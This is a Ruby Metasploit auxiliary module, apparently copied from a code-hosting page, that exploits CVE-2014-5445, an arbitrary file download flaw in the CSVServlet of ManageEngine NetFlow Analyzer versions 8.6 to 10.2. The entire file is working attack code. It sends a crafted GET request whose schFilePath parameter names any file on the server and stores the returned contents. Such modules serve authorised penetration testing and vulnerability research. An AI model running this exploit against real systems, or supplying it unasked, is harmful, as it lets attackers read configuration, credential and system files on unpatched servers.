81 lines
2.5 KiB
Ruby
81 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file download vulnerability in CSVServlet
|
|
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
|
|
and Linux with versions 8.6 to 10.2. Note that when typing Windows paths, you
|
|
must escape the backslash with a backslash.
|
|
},
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2014-5445' ],
|
|
[ 'OSVDB', '115340' ],
|
|
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Dec/9' ],
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_netflow_it360_file_dl.txt' ]
|
|
],
|
|
'DisclosureDate' => '2014-11-30'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI',
|
|
[ true, 'The base path to NetFlow Analyzer', '/netflow' ]),
|
|
OptString.new('FILEPATH', [true, 'Path of the file to download', 'C:\\windows\\system.ini']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
# Create request
|
|
begin
|
|
print_status("Downloading file #{datastore['FILEPATH']}")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
|
|
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] }
|
|
})
|
|
rescue Rex::ConnectionError
|
|
print_error('Could not connect.')
|
|
return
|
|
end
|
|
|
|
# Show data if needed
|
|
if res && res.code == 200
|
|
if res.body.to_s.bytesize == 0
|
|
print_error('0 bytes returned, file does not exist or it is empty.')
|
|
return
|
|
end
|
|
vprint_line(res.body.to_s)
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
'netflow.http',
|
|
'application/octet-stream',
|
|
datastore['RHOST'],
|
|
res.body,
|
|
fname
|
|
)
|
|
print_good("File saved in: #{path}")
|
|
else
|
|
print_error('Failed to download file.')
|
|
end
|
|
end
|
|
end
|